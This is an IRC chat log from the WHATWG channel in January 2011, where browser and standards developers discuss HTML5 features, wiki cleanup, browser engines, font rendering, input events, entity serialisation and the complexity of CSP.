[12:38:01.0000] <annevk>
or maybe it is just a vague title :)

[12:39:00.0000] <MikeSmith>
maybe we need a "1.0" logo

[12:40:00.0000] <nimbupani>
\|/

[12:44:00.0000] <annevk>
if I'm allowed to bikeshed a little

[12:44:01.0000] <annevk>
we could call it WHATWG C

[12:44:02.0000] <annevk>
WHATWG HTML and WHATWG C

[12:44:03.0000] <annevk>
short: C

[12:45:00.0000] <annevk>
Hixie, pretty good response

[12:45:01.0000] <Hixie>
the 1.0 is for nostalgic reasons

[12:46:00.0000] <karlcow>
just call it "woot!" :)

[12:46:01.0000] <MikeSmith>
let's do six blades and just change it to a symbol instead of words

[12:46:02.0000] <MikeSmith>
like Prince

[12:48:00.0000] <annevk>
Hixie, maybe your response should be put on the blog?

[12:49:00.0000] <Hixie>
nah

[12:49:01.0000] <Hixie>
it just prolongs the story if we put it on the blog

[12:49:02.0000] <annevk>
yeah true, there's more interesting things happening

[12:50:00.0000] <Hixie>
btw, that screenshot is awesome

[12:50:01.0000] <Hixie>
backwards compatibility "ftw", as they say

[12:50:02.0000] <Hixie>
gotta say, i kinda like our new home page

[12:51:00.0000] <Steve^>
your name is in very, very small text

[12:51:01.0000] <Hixie>
i considered removing that line altogether

[12:51:02.0000] <Hixie>
but instead i put analytics on it and we'll see if anyone's using it

[12:53:00.0000] <Steve^>
Google Analytics?

[12:53:01.0000] <Hixie>
yeah

[12:53:02.0000] <Steve^>
So the click on your email, you get that information with an event?

[12:53:03.0000] <Steve^>
I've had very little success with GA and off-site linking

[12:54:00.0000] <Hixie>
annevk: thanks for the wiki cleanup, looks good

[12:54:01.0000] <Hixie>
Steve^: oh i just meant the page as a whole, and if the page is getting hit a lot, i'll try playing with the link

[12:54:02.0000] <Steve^>
ah, ok

[12:54:03.0000] <Hixie>
maybe i should change the e-mail address and see if i get mails to it

[12:54:04.0000] <Hixie>
other than spam

[12:55:00.0000] <Steve^>
in theory you can tag it and GA will let you know, but there were no docs last time I checked

[12:55:01.0000] <Hixie>
ah

[12:55:02.0000] <Steve^>
they are transitioning to asynchronous and the docs aren't.. in sync

[12:56:00.0000] <Hixie>
ok i changed the e-mail address, we'll see if i get any organic traffic from it

[12:56:01.0000] <Hixie>
lunch time

[12:57:00.0000] <annevk>
maybe the WHATWG can do some deals with Nigeria

[12:57:01.0000] <annevk>
lots of cash there

[12:57:02.0000] <annevk>
or Niger

[12:57:03.0000] <annevk>
then I can finally get an.ne o_O

[12:57:04.0000] <Steve^>
:D

[12:58:00.0000] <Steve^>
Mix with the Princes of Nigeria and they'll accuse WHATWG of having government influences

[12:59:00.0000] <Steve^>
Come to think of it, it's been so long since i had any spam, I've forgotten how the good ones go

[12:59:01.0000] <webr3>
omg have you seen the registration services site for .ne ? http://www.intnet.ne/

[12:59:02.0000] <Steve^>
Here we go, Chairman of the Electoral Commission Ghana

[13:00:00.0000] <annevk>
Steve^, heh, we can prolly ask Shell for tips

[13:01:00.0000] <Steve^>
webr3, why is the Nigerian telecoms company based in Niger?

[13:02:00.0000] <Steve^>
Pardon me, dodgy translation by Google

[13:13:00.0000] <annevk>
Hixie, btw the problem at the bottom is that Mosaic renders the contents of <script>

[13:13:01.0000] <annevk>
Hixie, so you would need to use <!-- and --> in there if you really want to hide that

[13:14:00.0000] <annevk>
Hixie, on whatwg.org

[13:14:01.0000] <annevk>
Hixie, also, ga.type = 'text/javascript'; is not needed

[13:17:00.0000] <Dashiva>
/me is confused by the HTML XML use cases

[13:17:01.0000] <Dashiva>
How can "Using an XML toolchain to consume HTML" and "Forgiving error-handling with XHTML-style markup" ever coexist?

[13:18:00.0000] <annevk>
By improving the XML toolchain?

[13:19:00.0000] <annevk>
But yes, not everything is possible.

[13:19:01.0000] <Dashiva>
It seems to me that any XML toolchain that's capable of consuming non-XML probably doesn't need HTML XML

[13:21:00.0000] <annevk>
https://labs.ericsson.com/developer-community/blog/beyond-html5-peer-peer-conversational-video

[13:23:00.0000] <MikeSmith>
ConnectionPeer

[13:23:01.0000] <annevk>
it is happening

[13:24:00.0000] <annevk>
time to go

[13:37:00.0000] <karlcow>
http://stackoverflow.com/questions/4798291/applying-css-transform-rotation-to-an-element-using-font-face

[13:39:00.0000] <Rik`>
karlcow: I've seen that without font-face on Firefox and Opera

[13:39:01.0000] <roc>
It's graphics API limitations mostly

[13:41:00.0000] <Rik`>
I thought I was CCed on one bug like that, but I can't find it…

[13:43:00.0000] <roc>
seems to be basically fixed with FF4 on Windows 7

[13:43:01.0000] <roc>
using Direct2D

[13:44:00.0000] <roc>
I think screen pixellation makes it impossible to look 100% right

[13:45:00.0000] <Rik`>
http://software.hixie.ch/utilities/js/live-dom-viewer/saved/798

[13:45:01.0000] <Rik`>
this looks ugly on Mac OS

[13:46:00.0000] <roc>
yeah, it's a Quartz issue

[13:46:01.0000] <roc>
there's some secret API that's supposed to fix it, but we couldn't get it to work or something

[13:46:02.0000] <roc>
I forget the details

[13:47:00.0000] <Rik`>
Safari is ok with this

[13:47:01.0000] <roc>
yes, they got the secret API to work

[13:49:00.0000] <Rik`>
https://bugzilla.mozilla.org/show_bug.cgi?id=492214 was the bug I was thinking about

[13:50:00.0000] <karlcow>
it works well with opera too. it is interesting how resizing the window makes the letter in firefox "dancing"

[13:50:01.0000] <Rik`>
karlcow: I tried in Opera, not looking good at all

[13:51:00.0000] <Rik`>
the letters are fine but the anti-aliasing is bad

[13:55:00.0000] <karlcow>
http://www.la-grange.net/2011/01/25/rotate-tests  this is what I see

[13:55:01.0000] <karlcow>
ooops mistake

[13:55:02.0000] <karlcow>
:)

[13:55:03.0000] <karlcow>
/me modifies

[13:56:00.0000] <Rik`>
two Firefox screenshots

[14:02:00.0000] <karlcow>
http://www.la-grange.net/2011/01/25/rotate-tests

[14:02:01.0000] <karlcow>
updated

[14:04:00.0000] <Rik`>
so, what I said

[14:05:00.0000] <Rik`>
Safari is ok, Opera is doing a bad antialiasing and Firefox dances with the letters

[14:06:00.0000] <karlcow>
party time!

[15:16:00.0000] <Figaroo>
Hello folks, I have some interesting input which you might or might not have received already.

[15:19:00.0000] <Figaroo>
Limiting character input on text fields is a bit cumbersome to do with javascript, currently.

[15:22:00.0000] <Figaroo>
Firstly, keypress events do not account for pasting in input fields and the change event only fires when the text field is blurred. A propery ontextchange event would be useful here.

[15:25:00.0000] <Rik`>
Figaroo: there is an oninput event that does that

[15:25:01.0000] <Figaroo>
the event object passed to the ontextchange field should also contain a property which reveals the text change -- event.oldValue and event.newValue or similar. This would be extremely useful to determining what text is entered from keystrokes and various text based commands such as pasting.

[15:25:02.0000] <Rik`>
and to limit character input, you have the maxlength and pattern attributes

[15:25:03.0000] <Figaroo>
Rik`, wonderful! Does it contain the properties I just mentioned?

[15:25:04.0000] <Rik`>
nope

[15:26:00.0000] <Figaroo>
Rik`, that's not what I mean by limit character input. I mean limit which characters to be inputted.

[15:26:01.0000] <Rik`>
but you just need to save the value to get an "old value"

[15:27:00.0000] <Rik`>
pattern is a javascript regexp, so it won't block people from entering invalid characters, but it will report the input as invalid

[15:27:01.0000] <Figaroo>
Rik`, save the value? How would you know to save it?

[15:28:00.0000] <Rik`>
just save it every time there is an input ?

[15:28:01.0000] <Figaroo>
When there is an input, wouldn't the value would have already been changed?

[15:29:00.0000] <Figaroo>
*x out one would*

[15:29:01.0000] <Rik`>
yes but since you saved the value the last time the callback was called, you'll have value and e.target.value

[15:31:00.0000] <Figaroo>
Rik`, wouldn't it be more convenient to have this value available in the oninput event?

[15:31:01.0000] <Figaroo>
Also, limiting text input is not the same as limiting valid input.

[15:31:02.0000] <Rik`>
that's one line of code really

[15:32:00.0000] <Figaroo>
Rik`, what is?

[15:34:00.0000] <Figaroo>
What is one line of code?

[15:37:00.0000] <Figaroo>
I see, so storing the old value is one line of code extra; maybe two because you'll need to define the variable which contains the old value. But I think it would be nice to have this built into the event, I don't see why not.

[15:38:00.0000] <bga_>
Figaroo https://github.com/dperini/nwxforms

[15:41:00.0000] <twisted`>
hi maybe someone here can point the me in the right direction... I need to re-polish my web-knowledge (last was xhtml 1.1 strict) but with all the html5 fad going on lately (well ok I've been in hibernation for a while ;)) I'm not sure what exactly is now which spec is most widely supported (with new sweet features)

[15:41:01.0000] <bga_>
https://github.com/dperini/nwxforms/blob/master/src/nwxforms.js#L585

[15:41:02.0000] <inimino>
Figaroo ⋱ What was your issue with <input type=number>?

[15:43:00.0000] <paul_irish>
twisted`: read diveintohtml5 and watch developers.whatwg.org

[15:44:00.0000] <twisted`>
diveintohtml5.org ?

[15:44:01.0000] <paul_irish>
yup

[15:44:02.0000] <inimino>
twisted` ⋱ The whatwg FAQ page is also a good read.

[15:45:00.0000] <inimino>
http://wiki.whatwg.org/wiki/FAQ

[15:45:01.0000] <TabAtkins_>
inimino: What character are you using after people's names?  It looks like a diagonal ellipsis on my terminal.

[15:45:02.0000] <twisted`>
thanks I'll check those docs out

[15:46:00.0000] <twisted`>
I read a few years ago about xhtml2 which looked very interesting but it seems it's deprecated

[15:46:01.0000] <twisted`>
important for me is that the sites I write still function in stuff like lynx/links2 but are (without too much js) very nice in modern browsers

[15:52:00.0000] <franksalim>
TabAtkins_, DOWN RIGHT DIAGONAL ELLIPSIS (U+22F1)

[15:53:00.0000] <twisted`>
doesn't show up here like the image I can find of "DOWN RIGHT DIAGONAL ELLIPSIS"

[15:53:01.0000] <twisted`>
hmm weird

[15:53:02.0000] <twisted`>
terminal.app should be fully unicode

[15:53:03.0000] <twisted`>
maybe it's my font ;)


2011-01-26
[16:02:00.0000] <inimino>
TabAtkins_ ⋱ It's a diagonal ellipsis.

[16:54:00.0000] <annevk>
diagonal ellipsis? wild

[17:11:00.0000] <roc>
it's for matrices

[17:15:00.0000] <annevk>
look at that

[17:15:01.0000] <annevk>
chaals is on bitbucket https://bitbucket.org/chaals

[17:22:00.0000] <twisted`>
paul_irish: the diveintohtml5.org is a nice document but it's horrible to read

[17:23:00.0000] <twisted`>
in the sense I have to go back to the TOC to click the next chapter

[17:23:01.0000] <twisted`>
:p

[17:27:00.0000] <MikeSmith>
twisted`: somebody should make a bookmarklet for it with the TOC

[17:27:01.0000] <MikeSmith>
or is it available as a single page?

[17:27:02.0000] <twisted`>
MikeSmith: there's a single page edition I think

[17:27:03.0000] <MikeSmith>
ok

[17:28:00.0000] <MikeSmith>
there's an extension for Chrome that generates an outline

[17:28:01.0000] <MikeSmith>
using the HTML5 outline algorithm

[17:28:02.0000] <MikeSmith>
that would probably be a help with reading it

[17:28:03.0000] <MikeSmith>
/me tries it now

[17:29:00.0000] <twisted`>
only thing I miss from Opera is the gestures

[17:29:01.0000] <twisted`>
but personally I'd be all for one browser engine... makes everyone's life a lot easier

[17:30:00.0000] <annevk>
yeah, IE6 was awesome

[17:30:01.0000] <twisted`>
we're slowly getting there, on small devices it's already webkit anyway

[17:31:00.0000] <MikeSmith>
no it's not

[17:31:01.0000] <MikeSmith>
actually

[17:31:02.0000] <twisted`>
except for the windows based phones but who the fuck uses that

[17:31:03.0000] <MikeSmith>
not by a long show

[17:31:04.0000] <twisted`>
MikeSmith: android is webkit, ios is webkit

[17:31:05.0000] <annevk>
/me was sarcastic

[17:31:06.0000] <annevk>
/me goes to bed

[17:31:07.0000] <twisted`>
annevk: we assumed

[17:31:08.0000] <MikeSmith>
twisted`: yeah well

[17:31:09.0000] <MikeSmith>
that's hardly all the market

[17:31:10.0000] <MikeSmith>
and other browsers are available for Android

[17:32:00.0000] <twisted`>
it won't be long I guess before MS gives in and drops IE and goes for webkit

[17:32:01.0000] <MikeSmith>
yep

[17:32:02.0000] <twisted`>
I used to love Gecko

[17:32:03.0000] <twisted`>
but it's just slow as shit compared to webkit

[17:32:04.0000] <MikeSmith>
everybody will just be giving up and going for WebKit

[17:32:05.0000] <twisted`>
only thing that made me prefer Firefox is cause I didn't like Safari that much but Chrome is pwnsome

[17:33:00.0000] <MikeSmith>
you should bet money on your WebKit prediction

[17:33:01.0000] <twisted`>
it makes sense there are now 2 giant companies working on webkit

[17:33:02.0000] <MikeSmith>
indeed

[17:33:03.0000] <twisted`>
it's just that Google made a horrible decision with dropping h264 support in Chrome

[17:33:04.0000] <twisted`>
'yay'

[17:33:05.0000] <MikeSmith>
giant companies can never screw anything up

[17:33:06.0000] <franksalim__>
everything i use came from a giant company

[17:33:07.0000] <MikeSmith>
and two giant companies can definitely never screw anything up

[17:34:00.0000] <MikeSmith>
so it's a really safe bet for sure

[17:34:01.0000] <franksalim__>
totally

[17:34:02.0000] <MikeSmith>
I trust the giant companies completely

[17:35:00.0000] <franksalim>
i don't think you are being sincere, MikeSmith

[17:35:01.0000] <MikeSmith>
I'm always sincere :)

[17:35:02.0000] <MikeSmith>
even when I'm not being sincere

[17:35:03.0000] <twisted`>
MikeSmith: well considering the difference between Webkit and IE is that Webkit is actually opensource

[17:35:04.0000] <twisted`>
so if they do fubar it

[17:35:05.0000] <twisted`>
just fork it

[17:36:00.0000] <twisted`>
Gecko was awesome but because of the marketshare and their 'superiority' they became lazy

[17:36:01.0000] <Hixie>
annevk: yeah i already added the <!-- -->s

[17:36:02.0000] <MikeSmith>
twisted`: I got news for you: Somebody already thought of that already. It's already forked

[17:37:00.0000] <MikeSmith>
and will be forked more

[17:37:01.0000] <twisted`>
MikeSmith: probably, not really following that

[17:37:02.0000] <MikeSmith>
it's forked already

[17:38:00.0000] <roc>
yeah, that's us Gecko developers, real lazy. Right now we're all hanging out on the beach drinking pina coladas.

[17:38:01.0000] <twisted`>
MikeSmith: which fork do you refer to

[17:38:02.0000] <twisted`>
roc: ;)

[17:38:03.0000] <MikeSmith>
twisted`: several of them

[17:39:00.0000] <MikeSmith>
take your pick

[17:39:01.0000] <roc>
twisted`: really, your theories are incorrect and insulting, OK? So please keep them to yourself

[17:39:02.0000] <twisted`>
roc: oh nofi it's just how I saw it

[18:02:00.0000] <twisted`>
/me parties

[18:51:00.0000] <Figaroo>
inimino: my issue with number inputs is that I can't style them

[18:51:01.0000] <Figaroo>
...and they're not cross-browser

[23:26:00.0000] <annevk>
tantek, I'm gonna move the research stuff on the wiki to a "Research" page

[00:07:00.0000] <phrearch>
hi

[00:07:01.0000] <phrearch>
does anyone know i the connectionpeer api is already implemented in webkit?

[00:08:00.0000] <annevk>
yesterday Ericsson Labs published something

[00:10:00.0000] <phrearch>
yes, i saw the vid. wondering whether how that stuff is related to <device> and media streams

[00:10:01.0000] <phrearch>
it seems there are 3 apis involved in that demo

[00:11:00.0000] <phrearch>
connectionpeer api, Stream API and device

[00:11:01.0000] <phrearch>
it would be great if a patch would land in webkit, just for testing and poc

[00:17:00.0000] <annevk>
did some more cleanup to the wiki

[00:19:00.0000] <phrearch>
aah, the device element includes both apis

[00:19:01.0000] <phrearch>
i cant wait to test this :)

[00:27:00.0000] <annevk>
I would like to see their spec

[00:27:01.0000] <annevk>
for the UDP stuff

[01:19:00.0000] <annevk>
I wish he posted something about the UDP-based thingie they are using as well

[01:19:01.0000] <annevk>
I guess their blog post does to some extent

[01:20:00.0000] <phrearch>
yea, thats part of the stream api i guess?

[01:20:01.0000] <annevk>
no

[01:20:02.0000] <annevk>
Stream is nothing much

[01:20:03.0000] <annevk>
it just represents the camera/microphone

[01:21:00.0000] <phrearch>
aha ok

[01:21:01.0000] <annevk>
the UDP-based thingie is what is behind ConnectionPeer

[01:21:02.0000] <annevk>
and somehow I missed they invented something WebSocket-based too for media-streaming

[01:22:00.0000] <annevk>
https://labs.ericsson.com/developer-community/blog/beyond-html5-conversational-voice-and-video-implemented-webkit-gtk 'new MediaStreamTransceiver("ws://150.132.141.60:8880/delayswitch?sid=0");'

[01:23:00.0000] <phrearch>
yea, but i think thats the old way the did that

[01:24:00.0000] <phrearch>
it seems they now use something else for that

[01:24:01.0000] <phrearch>
connectionpeer i guess

[01:24:02.0000] <annevk>
that was also TCP-based still

[01:24:03.0000] <annevk>
they did not modify WebSocket to add UDP support

[01:24:04.0000] <annevk>
(that's poor wording, but you get the idea)

[01:25:00.0000] <phrearch>
yea, i thought they added binary support to it

[02:07:00.0000] <zcorpan>
http://www.w3.org/Bugs/Public/show_bug.cgi?id=11129 - boooo! what do people have against these events?? they're convenient

[02:08:00.0000] <zcorpan>
should we remove all event handler attributes as well since they're "redundant" with addEventListener?

[02:11:00.0000] <annevk>
also <style> and style=""

[02:18:00.0000] <annevk>
preprocessor script by CSS WG requires <code title=""> and does not allow <code title>

[02:18:01.0000] <annevk>
bah

[02:18:02.0000] <annevk>
want Anolis

[02:38:00.0000] <annevk>
hsivonen, you around?

[02:38:01.0000] <annevk>
hsivonen, wondered if you looked into that Android 2.3 thing with webm.html5.org

[02:38:02.0000] <annevk>
oh btw

[02:38:03.0000] <annevk>
XHR now has full ArrayBuffer support

[02:43:00.0000] <hsivonen>
annevk: not yet, I've been busy with a Hotmail firedrill

[02:43:01.0000] <hsivonen>
(Hotmail got updated in away that broke it in Firefox 4)

[02:59:00.0000] <gggg>
has there been any talk regarding multi-bitrat streaming using HTML5 video?

[03:00:00.0000] <annevk>
I've seen some discussion on adaptive streaming

[03:00:01.0000] <annevk>
nothing concrete though

[03:00:02.0000] <annevk>
foolip would know

[03:00:03.0000] <foolip>
there's been plenty of talking, but very little implementing, so far

[03:01:00.0000] <foolip>
gggg, I suggest reading the archives of the FOMS list

[03:01:01.0000] <gggg>
foolip: on the mailing list?

[03:01:02.0000] <gggg>
ok, thanks

[03:01:03.0000] <foolip>
oh crap, the archives are private :(

[03:01:04.0000] <foolip>
but I guess you could join the list and then read them

[03:02:00.0000] <foolip>
http://lists.annodex.net/cgi-bin/mailman/listinfo/foms

[03:07:00.0000] <gggg>
interesting. I found this article as well http://wiki.whatwg.org/wiki/Adaptive_Streaming

[03:14:00.0000] <annevk>
hmm

[03:15:00.0000] <annevk>
maybe Feature Proposals should be turned into a category as well to group all those things

[03:45:00.0000] <annevk>
whoa

[03:46:00.0000] <annevk>
http://dev.w3.org/html5/status/issue-status.html#ISSUE-096 -- it's still not decided whether <progress> is in or out?!

[03:46:01.0000] <annevk>
that issue is six months old

[03:46:02.0000] <annevk>
I mean, the poll is seven-eight months old

[03:54:00.0000] <Lachy>
I think that must be the oldest open issue that's had a poll but hasn't been resolved, closely followed by issue-88

[03:55:00.0000] <annevk>
was the wiki never linked from whatwg.org?

[03:55:01.0000] <annevk>
a direct link that is

[03:57:00.0000] <Lachy>
I thought it was

[03:57:01.0000] <Lachy>
might have been removed when the page was last redesigned

[04:01:00.0000] <annevk>
hmm, research and feature requests should prolly just be merged

[04:02:00.0000] <annevk>
why can't categories be moved?

[04:02:01.0000] <annevk>
I guess you can still do that by editing them...

[04:32:00.0000] <annevk>
revamped http://wiki.whatwg.org/wiki/Main_Page some more

[04:59:00.0000] <annevk>
hmm

[04:59:01.0000] <annevk>
now I want to categorize the registries

[06:32:00.0000] <Workshiva>
So I'm reading the http-state draft and see that it defines a cookie value as a http token. How is javascript supposed to create valid cookie values then?

[06:32:01.0000] <Workshiva>
All the cookie scripts I can recall use escape(), which does not encode @

[07:52:00.0000] <karlcow>
http://littlebigdetails.com/

[07:54:00.0000] <slartsa>
nice

[07:57:00.0000] <bfrohs>
Oh hey, they finally implemented my suggestion to get the unread counts in the icon :)

[08:29:00.0000] <dglazkov>
Hixie: I really liked the notion of ::xbl(id) pseudo-selector from our conversation yesterday

[08:30:00.0000] <dglazkov>
Hixie: except I don't want it to be actually named xbl, of course :)

[08:30:01.0000] <dglazkov>
Hixie: I wonder if you could take some time to update the draft and add this -- and I'll stick it into WebKit?

[08:30:02.0000] <dglazkov>
Hixie: something like ::shadow(id) might be nice?

[08:32:00.0000] <dglazkov>
Hixie: or maybe something less conspicuous like ::part(id), as in "part of the component/binding"?

[08:54:00.0000] <jgraham>
Are iframes with data: URIs @src allowed to access functions in their opener?

[08:57:00.0000] <jgraham>
AFAICT the spec says no, which seems silly

[09:02:00.0000] <Workshiva>
Hmm, this cookie value stuff is getting ugly

[09:17:00.0000] <tantek>
annevk that seems fine

[09:17:01.0000] <tantek>
not a huge fan of how mediawiki categories work but not that worried about it

[09:35:00.0000] <foolip>
TabAtkins, cool, I had no idea working with the CSS WG could be so... WHATWG-like :)

[11:17:00.0000] <TabAtkins_>
foolip: Depends on which editor you're working with.

[11:46:00.0000] <Ms2ger>
Wiki's down?

[11:46:01.0000] <Ms2ger>
Not anymore

[11:48:00.0000] <AryehGregor>
Is there any spec that's supposed to contain stuff like this?  https://bugs.webkit.org/show_bug.cgi?id=46733

[12:04:00.0000] <hsivonen>
Hixie: do I read the spec right that the spec is trying to say that onload alway fires asynchronously and never synchronously?

[12:07:00.0000] <AryehGregor>
volkmar_, is Firefox 4 final going to support the slight modification just made to type=email validation, allowing addresses like foo@localhost with only one domain name part?  See <http://www.w3.org/Bugs/Public/show_bug.cgi?id=11225>.  I don't see a Mozilla bug for it, should I open one?

[12:08:00.0000] <jwalden>
AryehGregor: bugs don't get fixed without their being filed, do file

[12:08:01.0000] <jwalden>
as to whether it will or not, that depends on the bug being filed first

[12:08:02.0000] <AryehGregor>
:)

[12:09:00.0000] <jwalden>
it sounds pretty easy, but it seems like not something that will be prioritized for release, to me, unless someone writes the patch and drives it

[12:10:00.0000] <Ms2ger>
jwalden, I filed

[12:10:01.0000] <Ms2ger>
And it was fixed

[12:10:02.0000] <AryehGregor>
Yay.

[12:10:03.0000] <jwalden>
ah

[12:10:04.0000] <AryehGregor>
Where's the bug?

[12:10:05.0000] <AryehGregor>
I didn't see it in a quick search.

[12:11:00.0000] <Ms2ger>
627657

[12:13:00.0000] <AryehGregor>
Ms2ger, kthx.  Isn't it supposed to be marked as blocking some more general bug or something?

[12:16:00.0000] <Ms2ger>
Does now

[12:17:00.0000] <AryehGregor>
:)

[12:28:00.0000] <Hixie>
we should rename http://wiki.whatwg.org/wiki/Companion_specifications to TODO or something

[12:34:00.0000] <volkmar_>
AryehGregor: it already does

[12:34:01.0000] <volkmar_>
beta9 should support that change

[12:34:02.0000] <volkmar_>
hmmm, 10 maybe ;)

[12:34:03.0000] <AryehGregor>
10, I think.

[12:34:04.0000] <AryehGregor>
See, this is why I ask before filing.

[12:35:00.0000] <volkmar_>
AryehGregor: i have to say that searching for fixed bugs is a pain

[12:36:00.0000] <AryehGregor>
Yeah, the defaults work against you.

[12:37:00.0000] <Ms2ger>
Just add ALL before your search

[12:37:01.0000] <Ms2ger>
Knowing it's been fixed helps, of course

[13:09:00.0000] <Hixie>
hm, misspelt words is an interesting use case for <u>

[13:09:01.0000] <Hixie>
has that ever been brought up before? i don't recall seeing it

[13:09:02.0000] <Hixie>
(listed in the CP for <u>)

[13:10:00.0000] <AryehGregor>
/me doesn't recall seeing it

[13:13:00.0000] <bfrohs>
Hixie, personally, I like the idea, but due to the use of INS and DEL, wouldn't a new tag such as UNS (unsure) be more appropriate? -- new name needed, but it would apply to text that may be wrong (either caught misspelling in a WYSIWYG or a piece of quoted text that was loosely quoted and may not be exact)

[13:13:01.0000] <bfrohs>
Mainly because <u> already has such a history of being strictly underline

[13:14:00.0000] <Hixie>
i dunno, i haven't studied how common it is for web pages to indicate spelling mistakes

[13:15:00.0000] <bfrohs>
Well, I think the spelling mistakes side of the tag would be more for WYSIWYG editors, not so much the final version of the page.

[13:15:01.0000] <Philip`>
Like in static content, or dynamic spellchecking in text entry fields?

[13:15:02.0000] <Hixie>
anywhere they'd use an element, i guess

[13:17:00.0000] <Philip`>
I don't think I've ever seen it in static content, except maybe when people were talking about the Word spelling/grammar checker and using it demonstratively (in which case they don't want arbitrary underline-like styling, they want the precise colour and shape that Word uses)

[13:18:00.0000] <Hixie>
yeah

[13:40:00.0000] <zcorpan>
yay http://trac.webkit.org/changeset/76115 (onformchange and friends)

[13:41:00.0000] <annevk>
yeah, Companion Specifications is an odd name

[13:41:01.0000] <annevk>
yeah, Companion Specifications is an odd name

[13:41:02.0000] <annevk>
Specs TODO

[13:42:00.0000] <Ms2ger>
So, why is html5lib outputting &NonBreakingSpace; instead of &nbsp;?

[13:42:01.0000] <zcorpan>
so does webkit's window.onerror impl support <script>onerror=function(){alert('woot')}</script><script>for(;) { lol syntax error</script> ?

[13:42:02.0000] <zcorpan>
or just uncaught exceptions?

[13:43:00.0000] <zcorpan>
Ms2ger: because it's earlier in the entities table, maybe?

[13:43:01.0000] <zcorpan>
/me noticed that web dom core switched from &copy; to &COPY; in its output

[13:44:00.0000] <Ms2ger>
Yeah

[13:44:01.0000] <Ms2ger>
Installing html5lib tip wasn't a good idea, apparently

[13:44:02.0000] <annevk>
I wonder how these comments work. First positive, then negative, now positive again. I guess incoming link from a positive article invites positive comments and incoming link from a negative article invites negative comments?

[13:45:00.0000] <zcorpan>
maybe html5lib should have a separate entity table for the serializer where COPY and NonBreakingSpace are not present

[13:46:00.0000] <zcorpan>
or in some other way have the serializer output nbsp and copy instead

[13:46:01.0000] <annevk>
the serializer should only need five entries

[13:47:00.0000] <zcorpan>
what if you want ascii-only and don't like NCRs?

[13:49:00.0000] <annevk>
haha

[13:49:01.0000] <annevk>
once you get arguments like "Stealing content was never easier than with HTML5" you know the debate is over

[13:53:00.0000] <zcorpan>
heh http://twitter.com/tabatkins/status/30336539284209664

[13:53:01.0000] <paul_irish>
"Sorry, @onchange, I wasn't talking to you. Collision of microsyntaxes!"

[13:54:00.0000] <TabAtkins>
I need XML with Namespaces so I can distinguish between @ meaning attributes and @ meaning twitter names.

[13:56:00.0000] <Ms2ger>
You want curies, for the 140-char limit

[13:56:01.0000] <TabAtkins>
With predefined prefixes.

[13:57:00.0000] <Ms2ger>
In an OWL file you reference from your profile

[14:00:00.0000] <annevk>
foolip, fwiw, http://wiki.whatwg.org/wiki/Video_type_parameters is now a "Registry" of some sort

[14:00:01.0000] <annevk>
in the sense that it is part of the "Registries" collection

[14:00:02.0000] <zcorpan>
hmm, apple.com uses SVG with <path>s as a background image for text in the navbar? boo. why don't they use real text + css text-shadow?

[14:01:00.0000] <Ms2ger>
That would work in other browsers?

[14:01:01.0000] <TabAtkins>
It woudl work in Safari.  Why would they care about everyone else?

[14:01:02.0000] <TabAtkins>
(And yes, text-shadow has pretty good support.)

[14:01:03.0000] <roc>
why wouldn't SVG work in other browsers?

[14:02:00.0000] <TabAtkins>
Also, Ms2ger, we were wondering who you were this morning.  I was convinced you were a Moz employee.

[14:02:01.0000] <david_carlisle>
zcorpan: for serialisation (expressed as xslt2 maps)  in the entities spec I omit all the aliases, so nbsp and copy win over the others, easy enough to generate a list of unique entity names from unicode.xml (basically just omit mmlalias and html5-uppercase entity sets0

[14:02:02.0000] <Ms2ger>
Moz volunteer, atm

[14:02:03.0000] <zcorpan>
SVG as background images seems less widely supported than text-shadow

[14:02:04.0000] <jwalden>
/me hopes that svg background image has an intrinsic height and width

[14:02:05.0000] <roc>
yeah I guess that's true

[14:02:06.0000] <Ms2ger>
Otherwise you earn a hardblocker, jwalden :)

[14:02:07.0000] <roc>
but it's better than some -webkit thing :-)

[14:02:08.0000] <jwalden>
because otherwise they might be hosing themselves, as no browsers implement lack of width right

[14:03:00.0000] <jwalden>
Ms2ger: I have the patch close to plausibly done :-)

[14:03:01.0000] <jwalden>
the algorithm is a mess of complexity, tho

[14:03:02.0000] <jwalden>
if it had to block, I could finish it for then

[14:03:03.0000] <TabAtkins>
jwalden: I wouldn't mind reviewing.

[14:04:00.0000] <zcorpan>
if i disable images on apple.com, the navbar becomes unusable

[14:04:01.0000] <jwalden>
TabAtkins: I'll CC you when I have it working (right now it's only, um, not breaking things that deliberately/intentionally worked before), assuming you have a bmo id

[14:04:02.0000] <TabAtkins>
I think I do.  One sec while I look it up.

[14:05:00.0000] <TabAtkins>
Yeah, I'm in under jackalmage⊙gc

[14:05:01.0000] <jwalden>
TabAtkins: is the account name something with "atkins" in it, or something?

[14:05:02.0000] <jwalden>
I'll remember that slightly more readily :-)

[14:05:03.0000] <Ms2ger>
Yeah

[14:05:04.0000] <jwalden>
but it shouldn't matter either way, really, I hope

[14:06:00.0000] <TabAtkins>
Ah, yes.  "Real Name" is "Tab Atkins Jr."

[14:08:00.0000] <jwalden>
is this <div id="globalheader"> that has the SVG background image?

[14:08:01.0000] <jwalden>
looking at it in epiphany I get a data: png image in the CSS

[14:11:00.0000] <zcorpan>
hsivonen: have you put webm.html5.org on bitbucket or so yet?

[15:31:00.0000] <zcorpan>
so when is http://www.w3.org/TR/html/ going to point to html5?

[15:33:00.0000] <Hixie>
2022, presumably

[15:34:00.0000] <zcorpan>
hmm, time to sleep

[15:34:01.0000] <zcorpan>
nn


2011-01-27
[16:16:00.0000] <TabAtkins>
foolip: Added the new object-fit values.  Review, please?  Also, dbaron said he has some objections to the values, so we'll see what he has to say.

[16:43:00.0000] <AryehGregor>
Hixie, there's a discussion on public-web-security where abarth is arguing CSP is too complicated, but he doesn't seem to have specific examples.  I think you said similar stuff before; do you have specific examples?

[16:44:00.0000] <AryehGregor>
It looks way too complicated for authors to me, but I haven't looked closely enough to formulate specific examples.

[16:44:01.0000] <dbaron>
TabAtkins, you forgot to put scale-down in the syntax list at the top of the spec

[16:44:02.0000] <dbaron>
TabAtkins, also, the spec needs a "previous version" link, since it does have one

[16:46:00.0000] <dbaron>
er, top of the section, not top of the spec

[16:47:00.0000] <Hixie>
AryehGregor: i don't recall examples off-hand, but iirc my reaction was the same as yours

[16:47:01.0000] <Hixie>
AryehGregor: the key being that it's a security feature

[16:47:02.0000] <AryehGregor>
Yeah.

[16:47:03.0000] <Hixie>
AryehGregor: so complexity leads to security vulns

[16:47:04.0000] <AryehGregor>
On the other hand, the inflexibility required by simplicity conflicts with the goal of being deployable without large-scale content changes.

[16:48:00.0000] <Hixie>
it is a common dilemma

[16:48:01.0000] <AryehGregor>
